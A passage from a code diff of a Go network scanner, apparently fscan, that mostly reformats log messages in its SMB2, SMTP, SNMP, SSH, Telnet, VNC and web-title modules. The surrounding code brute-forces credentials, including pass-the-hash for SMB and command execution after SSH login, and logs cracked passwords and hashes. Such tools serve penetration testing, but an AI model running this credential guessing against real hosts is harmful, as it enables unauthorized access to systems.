|
||||
// 清空通道
|
||||
}
|
||||
continue // 继续重试
|
||||
return
|
||||
}
|
||||
|
||||
// 其他登录失败情况
|
||||
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
|
||||
strings.Contains(err.Error(), "Authentication failed") ||
|
||||
strings.Contains(err.Error(), "attempted logon is invalid") ||
|
||||
strings.Contains(err.Error(), "bad username or authentication") {
|
||||
break
|
||||
}
|
||||
|
||||
if retryCount < Common.MaxRetries-1 {
|
||||
time.Sleep(time.Second * time.Duration(retryCount+1))
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时"))
|
||||
break
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}(user)
|
||||
}
|
||||
|
||||
if len(Common.HashValue) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
}
|
||||
wg.Wait() // 等待当前用户的所有hash尝试完成
|
||||
|
||||
// 等待所有线程完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 检查结果
|
||||
for err := range resultChan {
|
||||
if err != nil {
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
return err
|
||||
}
|
||||
// 检查是否已经找到正确凭据
|
||||
select {
|
||||
case <-successChan:
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
@@ -284,17 +237,17 @@ func smbPasswordScan(info *Common.HostInfo) error {
|
||||
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ",
|
||||
result = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ",
|
||||
result = fmt.Sprintf("SMB2认证成功 %s:%s %s",
|
||||
info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if len(hash) > 0 {
|
||||
result += fmt.Sprintf("HashValue:%v", Common.HashValue)
|
||||
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
result += fmt.Sprintf("Pass:%v", pass)
|
||||
result += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
@@ -303,10 +256,10 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
|
||||
var errlog string
|
||||
if len(hash) > 0 {
|
||||
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v",
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
|
||||
info.Host, info.Ports, user, Common.HashValue, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
|
||||
info.Host, info.Ports, user, pass, err)
|
||||
}
|
||||
errlog = strings.ReplaceAll(errlog, "\n", " ")
|
||||
@@ -379,24 +332,20 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr
|
||||
// logShareInfo 记录SMB共享信息
|
||||
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
|
||||
var result string
|
||||
|
||||
// 构建基础信息
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
|
||||
result = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
|
||||
result = fmt.Sprintf("SMB2共享信息 %s:%s %s",
|
||||
info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
// 添加认证信息
|
||||
if len(hash) > 0 {
|
||||
result += fmt.Sprintf("HashValue:%v ", Common.HashValue)
|
||||
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
result += fmt.Sprintf("Pass:%v ", pass)
|
||||
result += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
|
||||
// 添加共享列表
|
||||
result += fmt.Sprintf("可用共享: %v", shares)
|
||||
Common.LogSuccess(result)
|
||||
result += fmt.Sprintf(" 共享:%v", shares)
|
||||
Common.LogInfo(result)
|
||||
}
|
||||
|
||||
+2
-2
@@ -102,7 +102,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -180,7 +180,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 如果成功
|
||||
result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("SMTP服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
||||
+3
-3
@@ -71,7 +71,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功",
|
||||
successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功",
|
||||
info.Host, info.Ports, community)
|
||||
Common.LogSuccess(successLog)
|
||||
resultChan <- nil
|
||||
@@ -83,7 +83,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
|
||||
info.Host, info.Ports, community, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -150,7 +150,7 @@ func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, er
|
||||
}
|
||||
|
||||
if len(result.Variables) > 0 {
|
||||
success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v",
|
||||
success := fmt.Sprintf("SNMP服务 %v:%v community: %v",
|
||||
host, portNum, community) // 使用portNum替换port
|
||||
|
||||
if result.Variables[0].Type != gosnmp.NoSuchObject {
|
||||
|
||||
+7
-7
@@ -71,7 +71,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -120,12 +120,12 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
if Common.SshKeyPath != "" {
|
||||
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
|
||||
return false, fmt.Errorf("读取密钥失败: %v", err)
|
||||
}
|
||||
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
|
||||
return false, fmt.Errorf("解析密钥失败: %v", err)
|
||||
}
|
||||
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
@@ -161,18 +161,18 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
return true, err
|
||||
}
|
||||
if Common.SshKeyPath != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, string(output)))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, user, pass, string(output)))
|
||||
}
|
||||
} else {
|
||||
if Common.SshKeyPath != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v",
|
||||
info.Host, info.Ports))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
|
||||
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v",
|
||||
info.Host, info.Ports, user, pass))
|
||||
}
|
||||
}
|
||||
|
||||
+3
-3
@@ -81,14 +81,14 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.noAuth {
|
||||
// 无需认证
|
||||
result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证",
|
||||
result := fmt.Sprintf("Telnet服务 %v:%v 无需认证",
|
||||
info.Host, info.Ports)
|
||||
Common.LogSuccess(result)
|
||||
resultChan <- nil
|
||||
return
|
||||
} else if result.success {
|
||||
// 成功爆破
|
||||
result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v",
|
||||
result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(result)
|
||||
resultChan <- nil
|
||||
@@ -100,7 +100,7 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
|
||||
errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
||||
+2
-2
@@ -67,7 +67,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v",
|
||||
successLog := fmt.Sprintf("%s://%v:%v 密码: %v",
|
||||
modename, info.Host, info.Ports, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
resultChan <- nil
|
||||
@@ -79,7 +79,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v",
|
||||
modename, info.Host, info.Ports, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
||||
+3
-3
@@ -35,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error {
|
||||
if !Common.DisablePoc && err == nil {
|
||||
WebScan.WebScan(info)
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err)
|
||||
errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
|
||||
@@ -185,7 +185,7 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
||||
}
|
||||
|
||||
// 输出结果
|
||||
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
result := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
resp.Request.URL, resp.StatusCode, length, title)
|
||||
if reurl != "" {
|
||||
result += fmt.Sprintf(" 重定向地址: %s", reurl)
|
||||
@@ -297,7 +297,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
|
||||
if conn != nil {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
Common.LogError(err)
|
||||
Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err))
|
||||
}
|
||||
}()
|
||||
conn.Close()
|
||||
|
||||
Reference in New Issue
Block a user